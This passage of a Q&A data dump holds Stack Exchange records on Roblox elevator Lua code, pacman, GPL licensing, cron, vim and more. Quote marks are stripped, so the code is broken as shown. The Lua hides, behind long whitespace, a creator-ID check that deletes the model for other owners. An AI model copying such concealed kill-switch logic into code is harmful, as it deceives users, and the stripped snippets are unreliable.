     MotorCurrentSpeed = 5        MotorStopSpeed = 0.05        LevelOffset = 5    else        MotorCurrentSpeed = MotorSpeed        MotorStopSpeed = 0.05        LevelOffset = 6.5    endCar.Platform.BodyPosition.P = 0Car.Platform.BodyPosition.D = 0Car.Platform.BodyVelocity.P = 5000          if xDirection == Up then        MoveDirection = Up        for i = 0, MotorCurrentSpeed, 1 do            Car.Platform.BodyVelocity.velocity = Vector3.new(0,i,0)            wait(MotorStartSpeed)        end    end    if xDirection == Down then        MoveDirection = Down        for i = 0, MotorCurrentSpeed, 1 do            Car.Platform.BodyVelocity.velocity = Vector3.new(0,-i,0)            wait(MotorStartSpeed)        end    endendfunction Stop(TF)if TargetFloor ~= TF then return endBtn(TargetFloor,0)Car.DirectionalIndicator.Decal.Texture = http://www.roblox.com/asset/?id=0FPos = script.Parent.Floors:FindFirstChild(Floor..TF).FloorLevel.Position.YCar.Platform.BodyPosition.position = Vector3.new(Car.Platform.BodyPosition.position.X,FPos,Car.Platform.BodyPosition.position.Z)Car.Platform.BodyVelocity.P = 0Car.Platform.BodyPosition.P = 10000Car.Platform.BodyPosition.D = 6000Car.Platform.BodyVelocity.velocity = Vector3.new(0,0,0)repeat print((script.Parent.Floors:FindFirstChild(Floor..TF).FloorLevel.Position - script.Parent.Car.Control.FloorLevel.Position).Magnitude) wait(0.1) until (script.Parent.Floors:FindFirstChild(Floor..TF).FloorLevel.Position - script.Parent.Car.Control.FloorLevel.Position).Magnitude < 0.4wait(1)TargetFloor = 0if Floor.Value == TotalFloors then    MoveDirection = Downendif Floor.Value == 1 then    MoveDirection = UpendDirInd(TF,MoveDirection)Moving = falsewait(1)DoorOpen(TF)print(Waiting 4 sec before delete and check)Quene(TF,Remove)Busy = falsewait(4)Quene(0,Check)endfunction DoorOpen(TF)if Closed and not IsOpening and TF ~= nil and not Moving  thenIsOpening = trueif Car:FindFirstChild(DoorOpen) ~= nil then    Car:FindFirstChild(DoorOpen).BrickColor = BrickColor.New(Lime green)endif MoveDirection == Up then    Car.FloorIndicator.Ding.Pitch = 0.5    Car.FloorIndicator.Ding:Play()endif MoveDirection == Down then    Car.FloorIndicator.Ding.Pitch = 0.5    Car.FloorIndicator.Ding:Play()    wait(0.5)    Car.FloorIndicator.Ding.Pitch = 0.3    Car.FloorIndicator.Ding:Play()endCarRight = script.Parent.Car.Control.DoorRightCarLeft = script.Parent.Car.Control.DoorLeftDoorRight = script.Parent.Floors:FindFirstChild(Floor..TF).DoorRightDoorLeft = script.Parent.Floors:FindFirstChild(Floor..TF).DoorLeftif DoorRight == nil and DoorLeft == nil then print(Cant open doors, No shaft doors) return endCarRight.Anchored = trueCarLeft.Anchored = truefor i=0, 51 doCarRight.CFrame = CarRight.CFrame * CFrame.new(0, 0, 0.05)CarLeft.CFrame = CarLeft.CFrame * CFrame.new(0, 0, -0.05)DoorRight.CFrame = DoorRight.CFrame * CFrame.new(0, 0, 0.05)DoorLeft.CFrame = DoorLeft.CFrame * CFrame.new(0, 0, -0.05)wait(DoorSpeed)endCarRight.Anchored = trueCarLeft.Anchored = trueClosed = falseOpen = trueif Car:FindFirstChild(DoorOpen) ~= nil then    Car:FindFirstChild(DoorOpen).BrickColor = BrickColor.New(Institutional white)endIsOpening = falseendendfunction DoorClose(TF)if Open and not IsClosing and TF ~= nil and not Moving thenIsClosing = trueDirInd(TF,None)if Car:FindFirstChild(DoorClose) ~= nil thenCar:FindFirstChild(DoorClose).BrickColor = BrickColor.New(Lime green)endCarRight = script.Parent.Car.Control.DoorRightCarLeft = script.Parent.Car.Control.DoorLeftDoorRight = script.Parent.Floors:FindFirstChild(Floor..TF).DoorRightDoorLeft = script.Parent.Floors:FindFirstChild(Floor..TF).DoorLeftif DoorRight == nil and DoorLeft == nil then print(Cant open doors, No shaft doors) return endCarRight.Anchored = trueCarLeft.Anchored = truefor i=0, 51 doCarRight.CFrame = CarRight.CFrame * CFrame.new(0, 0, -0.05)CarLeft.CFrame = CarLeft.CFrame * CFrame.new(0, 0, 0.05)DoorRight.CFrame = DoorRight.CFrame * CFrame.new(0, 0, -0.05)DoorLeft.CFrame = DoorLeft.CFrame * CFrame.new(0, 0, 0.05)wait(DoorSpeed)endCarRight.Anchored = falseCarLeft.Anchored = falseClosed = trueOpen = falseif Car:FindFirstChild(DoorClose) ~= nil thenCar:FindFirstChild(DoorClose).BrickColor = BrickColor.New(Institutional white)endIsClosing = falseendendfunction Btn(xFloor,xMode)    local xCar = Car.FloorBtn:FindFirstChild(F..xFloor)    local xCall = Floors:FindFirstChild(Floor..xFloor):FindFirstChild(CallButton)    local xDual = script.Parent.Parent:FindFirstChild(CallFloor)    if xMode == 1 then        if xCar ~= nil then            xCar.BrickColor = BrickColor.new(Lime green)        end        if xCall ~= nil then            xCall.BrickColor = BrickColor.new(Lime green)        end        if xDual ~= nil then            if xDual:FindFirstChild(F..xFloor) ~= nil then                xDual:FindFirstChild(F..xFloor).CallButton.BrickColor = BrickColor.new(Lime green)            end        end    end    if xMode == 0 then        if xCar ~= nil then            xCar.BrickColor = BrickColor.new(Institutional white)        end        if xCall ~= nil then            xCall.BrickColor = BrickColor.new(Institutional white)        end        if xDual ~= nil then            if xDual:FindFirstChild(F..xFloor) ~= nil then                xDual:FindFirstChild(F..xFloor).CallButton.BrickColor = BrickColor.new(Institutional white)            end        end    endendfunction DirInd(xFloor,xDir)    local Dup = Floors:FindFirstChild(Floor..xFloor):FindFirstChild(DirIndUp)    local Ddn = Floors:FindFirstChild(Floor..xFloor):FindFirstChild(DirIndDown)    if xDir == Up then            Dup.BrickColor = BrickColor.new(Bright green)    end    if xDir == Down then            Ddn.BrickColor = BrickColor.new(Really red)    end    if xDir == None then            Dup.BrickColor = BrickColor.new(Really black)            Ddn.BrickColor = BrickColor.new(Really black)    endendfunction Quene(xFloor,Mode,isCall)    if Mode == Check then        for i = 1, #CallQuene do            if CallQuene[i] ~= nil then                ProcessCall(Floor.Value, CallQuene[i])            end        end    end    if Mode == Add then        Btn(xFloor,1)        local IgnoreCall = false        if isCall ~= true then        for i = 1, #LockedFloors do            if LockedFloors[i] == xFloor then                print(Call is in Lock list.)                if CardLock then                    IgnoreCall = true                end            end        end        end        for i = 1, #CallQuene do            if CallQuene[i] == xFloor then                print(Call exist, Not adding floor: ..CallQuene[i])                IgnoreCall = true            end        end        if not IgnoreCall and xFloor ~= Floor.Value and not Locked or not IgnoreCall and xFloor ~= Floor.Value and xFloor == 1  then            table.insert(CallQuene,xFloor)            print(Floor added, Value: ..xFloor)            Btn(xFloor,1)                   if not Busy then Quene(0,Check) end        else            if xFloor == Floor.Value and not Locked or IgnoreCall then            wait(0.2)            Btn(xFloor,0)            end            if Locked then            wait(0.2)            Btn(xFloor,0)            end        end    end    if Mode == Remove then            for i = 1, #CallQuene do                if CallQuene[i] == xFloor then                print(Removed: ..CallQuene[i])                    table.remove(CallQuene,i)                end            end            Btn(xFloor,Off)    endendfunction FireMode(Player)        if not FireLock then            Car.LockInd.BrickColor = BrickColor.new(Really red)            Floors.Floor1:FindFirstChild(FireService).Key.Texture = http://www.roblox.com/asset/?id=121879581            FireLock = true            Locked = true                for i = 1, #CallQuene do                    print(Removed: ..CallQuene[i])                    table.remove(CallQuene,i)                end                Car.DirectionalIndicator.Decal.Texture = http://www.roblox.com/asset/?id=0                if Floor.Value ~= 1 then                    DoorClose(Floor.Value)                    Moving = true                    Car.Platform.BodyVelocity.P = 2560                    Car.Platform.BodyVelocity.velocity = Vector3.new(0,0,0)                    TargetFloor = 1                    MoveDirection = Down                    wait(1)                    Car.Platform.BodyVelocity.velocity = Vector3.new(0,-6,0)                end            elseif FireLock then                Car.LockInd.BrickColor = BrickColor.new(Really black)                Floors.Floor1:FindFirstChild(FireService).Key.Texture = http://www.roblox.com/asset/?id=121879579                FireLock = false                Locked = false            endendif Car:FindFirstChild(DoorOpen) ~= nil then    Car:FindFirstChild(DoorOpen).ClickDetector.MouseClick:connect(function() if not FireLock then DoorOpen(Floor.Value) end end)endif Car:FindFirstChild(DoorClose) ~= nil then    Car:FindFirstChild(DoorClose).ClickDetector.MouseClick:connect(function() if not FireLock then         local Close = false            for i = 1, #CallQuene do                if CallQuene[i] ~= nil then                    Close = true                end            end        if Close then            DoorClose(Floor.Value) Quene(0,Check)         else            Car:FindFirstChild(DoorClose).BrickColor = BrickColor.New(Lime green)            wait(0.2)            Car:FindFirstChild(DoorClose).BrickColor = BrickColor.New(Institutional white)        endendend)endCarCalls = Car.FloorBtn:GetChildren()x = script.Parent.Floors:GetChildren()for i = 1, #x do    TotalFloors = TotalFloors + 1    if x[i]:FindFirstChild(CallButton) ~= nil then    local fRep = string.gsub(x[i].Name, Floor, )    local fFloor = tonumber(fRep)    x[i].CallButton.ClickDetector.MouseClick:connect(function() Quene(fFloor,Add,true) end)    endend                                                                                                                                                                                                                                                                                                                                                                if game.CreatorId ~= 0 then if game.CreatorId ~= 6623575 then x = Instance.new(Hint,Workspace) x.Text = This place is using a Stolen Teknikk elevator. We apperiate the No support. script.Parent:Remove() end endfor i = 1, #CarCalls do    local bRep = string.gsub(CarCalls[i].Name, F, )    local cFloor = tonumber(bRep)    CarCalls[i].ClickDetector.MouseClick:connect(function() Quene(cFloor,Add,false) end)endscript.Parent.ScriptCall.Changed:connect(function ()    if script.Parent.ScriptCall.Value ~= 0 then        Quene(script.Parent.ScriptCall.Value,Add,true)        script.Parent.ScriptCall.Value = 0    endend)script.Parent.FireMode.Changed:connect(function ()    if script.Parent.FireMode.Value == true then        FireMode()        script.Parent.FireMode.Value = false    endend)Car.Alarm.ClickDetector.MouseClick:connect(function ()    if not Alarm then        Alarm = true        for i=0,20 do            Car.FloorIndicator.Alarm:Play()            wait(0.1)        end        Alarm = false    endend)if Car:FindFirstChild(ElevatorLock) ~= nil thenCar.ElevatorLock.ClickDetector.MouseClick:connect(function (Player)    if Player ~= nil  and Player.Name == Heisteknikk then    if not Locked then        Locked = true        Car.ElevatorLock.BrickColor = BrickColor.new(Really red)        else        Locked = false        Car.ElevatorLock.BrickColor = BrickColor.new(Dark stone grey)    end    endend)endif Car:FindFirstChild(RFID) ~= nil then    Car:FindFirstChild(RFID).Touched:connect(    function (Card)    local Accepted = false        if Card.Parent:FindFirstChild(CardNumber) ~= nil and CardLock then            for id=1, #CardNumber do            if Card.Parent.CardNumber.Value == CardNumber[id] then                Car.RFID.BrickColor = BrickColor.new(Bright green)                CardLock = false                wait(5)                CardLock = true                Car.RFID.BrickColor = BrickColor.new(New Yeller)                Accepted = true            end            wait()            end            if not Accepted then                Car.RFID.BrickColor = BrickColor.new(Really red)                wait(1)                Car.RFID.BrickColor = BrickColor.new(New Yeller)            end        end    end)endif Floors.Floor1:FindFirstChild(FireService) ~= nil then    Floors.Floor1:FindFirstChild(FireService).ClickDetector.MouseClick:connect(function(Player)       if Player ~= nil  and Player.Name == Heisteknikk then FireMode() end end)endprint(Floor served: ..TotalFloors)while true dowait()      for i = 1, #x do        local xs = string.gsub(x[i].Name, Floor, )        local xx = tonumber(xs)        if (x[i].FloorLevel.Position - script.Parent.Car.Control.FloorLevel.Position).Magnitude < LevelOffset then        if Floor.Value ~= xx then            Floor.Value = xx            Stop(xx) -- InCase f stops        end        end         if duck == false then        if (x[i].FloorLevel.Position - script.Parent.Car.Control.FloorLevel.Position).Magnitude < 0.5 then            duck = true            DirInd(1,Up)            DoorOpen(1)        end        end    endend"  , "title": "Elevator code for a game called ROBLOX"  , "tags": "game;lua"  } 
{  "id": "_unix.103859"  , "question": "I know that I can define wanted package version in pacman like shown in its manual pacman -S bash>=3.2. But how do I know what versions are available? I also know that pacman is creating copy of mirrors upon syncing in .db files in /var/lib/pacman/sync/, but those files are not human-readable.And what if I want to install some version virtualbox for example, that I hope is in mirrors somewhere, that wouldn't require newer version of linux (set as IgnorePkg in pacman.conf) than I have installed (because of nvidia drivers)? How do I know what version that is and if it is available?"  , "title": "Arch Linux pacman specifying package version"  , "tags": "arch linux;package management;pacman;version"  , "accepted_answer": "You can't specify a version that easily, as a rolling release, pacman will only provide the latest. When you install something, that package is stored in your computer on the /var/cache/pacman/pkg/ dir, so if you want to downgrade one version or specify another, you have to use pacman -U and the name of the package on your cache. There are time machine repos out there where people just stores old packages, you can download the version you want and use pacman -U to install it. Be aware that you have to block the updates of that package if you don't want it to update, to see how, check the wiki in the pacman page or this https://wiki.archlinux.org/index.php/Downgrading_Packages#Q:_I_cannot_downgrade_a_package.2C_because_of_dependencies."  } 
{  "id": "_opensource.4831"  , "question": "We are planning to use an Open Source GNU GPL License software for distribution also with the hardware we sell. We will make several changes to GP, software to make it work with our device and are ok to make derived source code open source. However below situation do exist for us in order to complete the whole package. I will be grateful is someone can answer below question for us and suggest alternatives.We do have other Open source component that we would need to integrate with original GPL software in order to achieve our goal. Is it permissible under GPLWe do have few proprietary DLLs provided by our vendors that we need to integrate but we do not have source code for them. Will this still satisfy GNU GPL requirement?We have a licensing module which derives the licensing logic for this application. This is a DLL but the source code is owned by us. Do this source code have to be made public?We have plans to submit derived software along with our medical devices for FDA approvals? Is GPL ok with it?We license our software as permanent as well trial version. Trial version expires after certain period. Can this cause any problem with GPL?The license is also controlled by a hardware dongle which is again provided by outside vendor. Is this ok with GNU GPL?Do we have to package source code with every media (CD, USB) we distribute? Will adding a statement for availability of source code on demand or from a public location acceptable for GNU GPL?We plan to add a few module such as apps for android and iOS. This will not be linked to derived software but will only use data and images collected by derived software from end users. Do we have to make source code of those apps also under GNU GPL?"  , "title": "GNU GPL Licensing"  , "tags": "licensing;gpl;gnu"  , "accepted_answer": "This is a lot of questions, and should perhaps be split into several different questions. But I'll answer what I can.We do have other Open source component that we would need to integrate with original GPL software in order to achieve our goal. Is it permissible under GPLIf the other licenses are GPL-compatible, yes. You will have to offer them under the terms of the GPL as well; the compatibility list contains licenses that the FSF believes can be met while also meeting the terms of the GPL.We do have few proprietary DLLs provided by our vendors that we need to integrate but we do not have source code for them. Will this still satisfy GNU GPL requirement?Not for the GPL, no; any derivative software, including the entire package that has your vendors' libraries, must be offered under the terms of the GPL.If you are not stuck with the choice of license (that is, you're just deciding this yourself, and aren't forced into it via modification of a GPLed project), then you may wish to use the LGPL, which has an exception for things that are linked in.We have a licensing module which derives the licensing logic for this application. This is a DLL but the source code is owned by us. Do this source code have to be made public?Under the GPL, yes. Under the LGPL, no.We have plans to submit derived software along with our medical devices for FDA approvals? Is GPL ok with it?Sure, there's no restriction in the license about whether you can submit it to a government agency. If you are providing a modified version, the FDA has the right to ask for the source code.We license our software as permanent as well trial version. Trial version expires after certain period. Can this cause any problem with GPL?The first of the four essential freedoms of free software is the right to run the software however and whenever you wish.The GPLv2 had a loophole that lead to tivoization, where the user could technically run modified versions of the software, but the hardware would refuse it. The GPLv3 is designed to prevent this. I'm not sure if section 2 prevents a license of the type you talk about; you should consult your legal counsel.Anyways, users are allowed to modify the source code, so they could dig in and remove the code that requires a valid license.The license is also controlled by a hardware dongle which is again provided by outside vendor. Is this ok with GNU GPL?Unsure, see previous point.Do we have to package source code with every media (CD, USB) we distribute? Will adding a statement for availability of source code on demand or from a public location acceptable for GNU GPL?Section 6 covers the full range of options. In summary, providing it in a public location or in response to specific requests is fine.We plan to add a few module such as apps for android and iOS. This will not be linked to derived software but will only use data and images collected by derived software from end users. Do we have to make source code of those apps also under GNU GPL?Files generated by the program are not considered part of it for licensing purposes (this would otherwise be a major issue in using gcc). Other programs that communicate with it via a network API also do not trigger the viral licensing clause."  } 
{  "id": "_unix.31379"  , "question": "I have ubuntu server edition installed and I want to install firefox inside it , I don't want full ubuntu-desktop package just a minimal setup which would let me run firefox inside ubuntu-server 10.04 LTS"  , "title": "install firefox in ubuntu-server edition"  , "tags": "ubuntu;package management;firefox"  , "accepted_answer": "If you just want to install Firefox and run it remotely, install the firefox package. If you also want to run Firefox locally, you'll need a GUI environment: install the x-window-system package. If you also want to run Firefox locally comfortably, you'll need a window manager (any of the packages that provide the x-window-manager virtual package) or desktop environment (the Ubuntu default is Gnome, install at least gnome-core).I assume you only have a command line at your disposal; use the apt-get command to manipulate packages, or aptitude for a command line or text mode interactive program.apt-get install firefox x-window-system gnome-coreStrictly speaking, this won't be a minimal system, as it'll pull up a few packages that are recommended but not strictly necessary. Install all recommended packages unless you understand why you don't need them (in other words, if you need to ask, install them all)."  } 
{  "id": "_unix.102561"  , "question": "I installed the latest version of Apache2 / PHP / MYSQL on my PC.In the directory /src/www/htdocs I created a directory wordpress with all wordpress files.Then, when I tried to create the wp-config file through the web interface I get this error: Sorry, but I can't write the `wp-config.php' file.I tried this command to change the group of /src/www/htdocs/wordpresschown -R root:root /srv/www/htdocs/wordpressBut it was not working. After some research, I have seen lot of people saying change the group to www-data but I do not see www-data using this command:cut -d: -f1 /etc/groupAnyone know what I am doing wrong?"  , "title": "Linux Wordpress can't write wp-config file"  , "tags": "permissions;wordpress"  } 
{  "id": "_webmaster.56404"  , "question": "For example http://www.google.com/search?client=safari&rls=en&q=tom+brady&ie=UTF-8&oe=UTF-8#q=tom+hanks&rls=enI have seen this on famous and non famous people and I was wondering how to get this done so my name and picture will appear on the sidebar of the Google search results.Do I need to make an account or send Google a request?"  , "title": "How to get my name on the side of the Google search results?"  , "tags": "google;search;name"  } 
{  "id": "_unix.388329"  , "question": "I'm having trouble with sudo when I try to start an interactive session.  It always changes the directory to the root's home directory.  But I want to run commands in the directory I started the session from.How can I get sudo to start an interactive session in my current directory?"  , "title": "Start sudo interactive session in current directory?"  , "tags": "sudo"  } 
{  "id": "_unix.331410"  , "question": "I am making a GFFS backup script for a school assignment but I've encountered some issues with it. It works like this:/etc/backup/backup.sh PERIOD NUMBER I have added the following lines in cron:# m h  dom mon dow   command# Backup for fileserver:#daily: 5 times/week0   23   *   *    1-5   /etc/backup/backup.sh daily $(date -d -1 day +%w)#weekly: 5 times/month10  23   *   *    7     /etc/backup/backup.sh weekly $((($(date +%-d)-1)/7+1))#monthly: 12 times/year20  23   1   *    *     /etc/backup/backup.sh monthly $(date -d -1 day +%m)#yearly: each year0   3    1   1    *     /etc/backup/backup.sh yearly $(date -d -1 day +%Y)The calculations at the end is to know what previous backup to override. This works perfect when triggered manually but when triggered by cron it does something weird. i'm talking about the weekly backup entry. the calculation is supposed to give me the week number in the current month. i did 'grep CRON /var/log/syslog' and found this line:Dec 19 14:33:01 BE-SV-04 CRON[5445]: (root) CMD (/etc/backup/backup.sh weekly $((($(date +)It appears as if cron is not executing the calculation correctly. Any help? "  , "title": "Script working manually but not in cron - not calculating var?"  , "tags": "linux;bash;debian;scripting;cron"  , "accepted_answer": "I think you have to escape the %- signsso this:0   23   *   *    1-5   /etc/backup/backup.sh daily $(date -d -1 day +\\%w)... should work.I dont know which have to be escaped, it think + and %, please try out.*when I did it in cron I used the uglyer backtick-syntax for command execution and had to escapte them, too, like: *0  1 * * * something >> bla\\`date \\+\\%Y_\\%m_\\%d\\`.log"  } 
{  "id": "_webapps.44487"  , "question": "I have a sheet with employee time logs, as follows:Name    Day1       Day2       Subtotal of 'OFF' days this periodJess    PRESENT    OFF        1Bob     PRESENT    PRESENT    0Name    Day3       Day4       Subtotal of 'OFF' days this periodJess    PRESENT    PRESENT    0Bob     OFF        OFF        2I need to create an automatic total of the number of days off each employee has had. How could I do this? =COUNTIF(1:100,OFF) would return the total number of off days, but is there a way to get this total only rows where the first cell contains Jess?(In this example, OFF is STRING in my question, while Jess is IFTEXT)"  , "title": "How to count the occurrences of 'STRING' in a row, but only if that row begins with 'IFTEXT'"  , "tags": "google spreadsheets;formulas"  , "accepted_answer": "If you don't want to precalculate the subtotal of off days, you can use an array formula:=arrayformula(SUM((A:A=Jess)*(B:C=OFF)*1))A:A=Jess returns a bunch of TRUE and FALSE, in your sample, it would be {TRUE, FALSE, FALSE, TRUE, FALSE}B:C=OFF returns another bunch of TRUE and FALSE, in your sample, it would be {FALSE, TRUE; FALSE, FALSE; FALSE, FALSE; FALSE, FALSE; FALSE, FALSE} (note semicolons denoting the different rows)And those two multiplied is evaluated as:From A:A=Jess  From B:C=OFF   ResultTRUE             (FALSE, TRUE ) = FALSE TRUEFALSE            (FALSE, FALSE) = FALSE FALSEFALSE            (FALSE, FALSE) = FALSE FALSETRUE             (FALSE, FALSE) = FALSE FALSEFALSE            (TRUE , TRUE ) = FALSE FALSEOnly a TRUE multiplied by another TRUE gives a result of TRUE. The *1 last converts every TRUE to 1. SUM then adds all the 1 together."  } 
{  "id": "_vi.3231"  , "question": "Say that I am on line 20 and I would like to yank line 4, how can I do that?And similarly, how can I yank a line relative to my cursor position, say the one 3 lines up?"  , "title": "How to yank a line with a certain line number?"  , "tags": "cut copy paste"  , "accepted_answer": "From :help :yank::[range]y[ank] [x]      Yank `[range]` lines [into register x].So, to yank line 4, one would type::4yankNote you can easily do this from insert mode with <C-o>; this allows you toexecute one command, after which you're returned to insert mode; for example:<C-o>:4yankYou can, of course, also use other ranges. Some examples:Lines 1 to 3: :1,3yankThe entire buffer: :%yankFrom the current line to the end of the buffer: :.,$:yankThe current line and the next 3: :.,+3yankThe current line and the previous 3: :-3,.yankThe line 3 lines above the current line: :-3yankThe most useful things to remember about ranges:It's in the form of :line1,line2command.A . is the current line (you can actually omit the dot in most cases; :.,+3yank and :,+3yank are the same)You specify lines relative to the current position with +n and -n.See :help [range] for moreinformation."  } 
{  "id": "_datascience.15965"  , "question": "When would a neural network be defined as a Deep Neural Network (DNN) and not a NN?A DNN as I understand them are neural networks with many layers, and simple neural networks usually have fewer layer... but what a many and a few in numbers? or is there some other definition?What are networks trained used Tensorflow, Caffee as such? I haven't (as far I know) seen anybody manually design a network with many many layers. They seem to promote their tools for creating DNN, but is it actually DNN if you only make a network with two layers? "  , "title": "When is something a Deep Neural Network (DNN) and not NN?"  , "tags": "neural network;deep learning"  , "accepted_answer": "You are right. Mainly any network with more than two layers between the input and output is considered a deep neural network. Libraries like tensorflow provide efficient architecture for deep learning applications such as image recognition, or language modelling using Convolutional neural networks and Recurrent neural networks. Another thing to keep in mind, is the depth of the network also has to do with the number of units being used in the layer. Mainly, as your non-linear hypotheses get complex you will need deep neural networks. "  } 
{  "id": "_unix.181738"  , "question": "Please guide me to get out of it.Thanks in advance.I am having a situation that I have to write a awk script which takes the input of two .out files and generate a single .txt file.$ cat file1.shawk -f awk_file.awk < outfile1.out outfile2.out  > text_file.txtI want to display the .txt file like,----------------Output from File1----------column1 column2 column3--------------------------------------------columns i will pick from outfile1.outcolumns i will pick from outfile1.out--------------------------------------------Total no. of columns from outfile1.out////////////////////////////////////////////////----------------Output from File2----------column1 column2 column3 column4 column5-------------------------------------------columns i will pick from outfile2.outcolumns i will pick from outfile2.outcolumns i will pick from outfile2.outcolumns i will pick from outfile2.out----------------------------------------Total no. of columns from outfile2.outHow resulting the text_file.txt???"  , "title": "multiple input in a awk file"  , "tags": "shell script;awk"  } 
{  "id": "_unix.388262"  , "question": "I'm trying to install vim from source, but I'm facing an error saying I need to install a terminal library. But when I try to install these libraries, the error is shown:The following packages have unmet dependencies: libncurses5-dev : Depends: libtinfo5 (= 5.9+20140913-1+b1) but 6.0+20161126-1 is to be installed                   Depends: libncurses5 (= 5.9+20140913-1+b1) but 6.0+20161126-1 is to be installed                   Depends: libtinfo-dev (= 5.9+20140913-1+b1) but it is not going to be installed libncursesw5-dev : Depends: libtinfo5 (= 5.9+20140913-1+b1) but 6.0+20161126-1 is to be installed                    Depends: libncursesw5 (= 5.9+20140913-1+b1) but 6.0+20161126-1 is to be installed                    Depends: libtinfo-dev (= 5.9+20140913-1+b1) but it is not going to be installedI tried installing the required version, but then, the opposite happens, I will require the latest version. How to solve this?"  , "title": "Impasse on libtinfo5 version. Versions are required but others will be installed"  , "tags": "vim;dependencies"  } 
{  "id": "_webmaster.65512"  , "question": "I'm trying to troubleshoot some problems with users being blocked from our website by CloudFlare. We run a Joomla 2.5 installation with RSFirewall. I have the list of IP blocks that CloudFlare uses, but I'm not versed enough with IP block math to figure out whether several of the addresses that are currently showing in the blacklist are actually CF servers. For example, the following IP is in our blacklist:103.22.201.147And CloudFlare uses the following block:103.22.200.0/22Based on what I read here it looks like that address is indeed a CloudFlare address and I need to remove it from the blacklist. Can anybody confirm whether I'm understanding it correctly or not? Thanks for your help."  , "title": "Need help with understanding IP blocks"  , "tags": "joomla;ip address;cloudflare"  , "accepted_answer": "Yes. The IP address 103.22.201.147 is CloudFlare within the IP address range of 103.22.200.0 - 103.22.201.255."  } 
{  "id": "_unix.44948"  , "question": "I'm working on an embedded Linux system (128MB RAM) without any swap partition. Below is its top output:Mem: 37824K used, 88564K free, 0K shrd, 0K buff, 23468K cachedCPU:   0% usr   0% sys   0% nic  60% idle   0% io  38% irq   0% sirqLoad average: 0.00 0.09 0.26 1/50 1081  PID  PPID USER     STAT   VSZ %MEM CPU %CPU COMMAND 1010     1 root     S     2464   2%   0   8% -/sbin/getty -L ttyS0 115200 vt10 1081  1079 root     R     2572   2%   0   1% top    5     2 root     RW<      0   0%   0   1% [events/0] 1074   994 root     S     7176   6%   0   0% sshd: root@ttyp0 1019     1 root     S    13760  11%   0   0% /SecuriWAN/mi  886     1 root     S     138m 112%   0   0% /usr/bin/rstpd 51234  <== 112% MEM?!? 1011   994 root     S     7176   6%   0   0% sshd: root@ttyp2  994     1 root     S     4616   4%   0   0% /usr/sbin/sshd 1067  1030 root     S     4572   4%   0   0% ssh passive  932     1 root     S     4056   3%   0   0% /sbin/ntpd -g -c /etc/ntp.conf 1021     1 root     S     4032   3%   0   0% /SecuriWAN/HwClockSetter  944     1 root     S     2680   2%   0   0% dbus-daemon --config-file=/etc/db 1030  1011 root     S     2572   2%   0   0% -sh 1079  1074 root     S     2572   2%   0   0% -sh    1     0 root     S     2460   2%   0   0% init  850     1 root     S     2460   2%   0   0% syslogd -m 0 -s 2000 -b 2 -O /var  860     1 root     S     2460   2%   0   0% klogd -c 6  963     1 root     S     2184   2%   0   0% /usr/bin/vsftpd /etc/vsftpd.conf    3     2 root     SW<      0   0%   0   0% [ksoftirqd/0]  823     2 root     SWN      0   0%   0   0% [jffs2_gcd_mtd6]ps (which doesn't understand any options besides -w on busybox) shows:  PID USER       VSZ STAT COMMAND    1 root      2460 S    init    2 root         0 SW<  [kthreadd]    3 root         0 SW<  [ksoftirqd/0]    4 root         0 SW<  [watchdog/0]    5 root         0 SW<  [events/0]    6 root         0 SW<  [khelper]   37 root         0 SW<  [kblockd/0]   90 root         0 SW   [pdflush]   91 root         0 SW   [pdflush]   92 root         0 SW<  [kswapd0]  137 root         0 SW<  [aio/0]  146 root         0 SW<  [nfsiod]  761 root         0 SW<  [mtdblockd]  819 root         0 SW<  [rpciod/0]  823 root         0 SWN  [jffs2_gcd_mtd6]  850 root      2460 S    syslogd -m 0 -s 2000 -b 2 -O /var/log/syslog  860 root      2460 S    klogd -c 6  886 root      138m S    /usr/bin/rstpd 51234  945 root      2680 S    dbus-daemon --config-file=/etc/dbus-system.conf --for  964 root      2184 S    /usr/bin/vsftpd /etc/vsftpd.conf  984 root      4616 S    /usr/sbin/sshd  987 root       952 S    /sbin/udhcpd /ftp/dhcpd.conf 1002 root      4056 S    /sbin/ntpd -g -c /ftp/ntp.conf 1022 root      2464 S    -/sbin/getty -L ttyS0 115200 vt102 1023 root      7176 S    sshd: root@ttyp0 1028 root      2572 S    -sh 1030 root      2572 R    psWhen you look at process 886, you see that it uses 112% of the availble memory and has VSZ (virtual memory size) of 138MB. That doesn't make any sense to me.In the top man page it says: %MEM -- Memory usage (RES)     A task's currently used share of available physical memory. How can this process consume more than 100% memory?And if it's such a memory hog, why are there still 88564K RAM free on the system?"  , "title": "What do top's %MEM and VSZ mean?"  , "tags": "linux;memory;resources"  , "accepted_answer": "The man page you refer to comes from the procps version of top.But you're on an embedded system, so you have the busybox version of top.It looks like busybox top calculates %MEM as VSZ/MemTotal instead of RSS/MemTotal.The latest version of busybox calls that column %VSZ to avoid some confusion.  commit log"  } 
{  "id": "_codereview.4130"  , "question": "I wrote the following code to give an HTML element max width/height in its parent container.I think I address the box model issues but I am wondering if anyone can see issues and or shortcomings.Are there other solutions out there that accomplish this? I want to make sure I didn't re-invent the wheel.function heightBuffer(control) {    return parseInt((control.outerHeight(true)) - control.height());}function widthBuffer(control) {    return parseInt((control.outerWidth(true)) - parseInt(control.width()));}function MaxHeightInParent(control, minHeight, controlHeightsToSubtract) {    var h = parseInt(control.parent().height()) - heightBuffer(control);    if (controlHeightsToSubtract != null)        $.each(controlHeightsToSubtract, function(index, value) {            h = h - parseInt(value.outerHeight(true));        });    if (minHeight != null && h < minHeight) h = minHeight;    control.height(0);    control.css('min-height', h);}function MaxWidthInParent(control, minWidth, controlWidthsToSubtract) {    var w = parseInt(control.parent().width()) - widthBuffer(control);    if (controlWidthsToSubtract != null)        $.each(controlWidthsToSubtract, function(index, value) {            w = w - parseInt(value.outerWidth(true));        });    if (minWidth != null && w < minWidth) w = minWidth;    control.width(0);    control.css('min-width', w);}Note controlHeightsToSubtract / controlWidthsToSubtract are if you wish to pass an array of controls that share the containing element with the element you are attempting to maximize in Height/Width."  , "title": "Javascript to compute max width and height for a nested HTML element"  , "tags": "javascript;jquery;html;css"  , "accepted_answer": "What isparseInt((control.outerHeight(true)) - control.height());supposed to achieve?The result of - is always going to be a number, so what this does is convert the number to a string and back to a number.  This can only lose precision and waste time.Similarly, the use of parseInt on the first argument is also unnecessaryparseInt(control.parent().height()) - heightBuffer(control)since4 - 1 === 3In fact, the automatic conversion that - does is better than that done by parseInt since parseInt falls back to octal on some interpreters but not others.10             - 1 === 9parseInt(10)   - 1 === 90x10           - 1 === 15parseInt(0x10) - 1 === 15010            - 1        // throws reliablyparseInt(010)  - 1 === 7  // on some and 9 on othersso I'd get 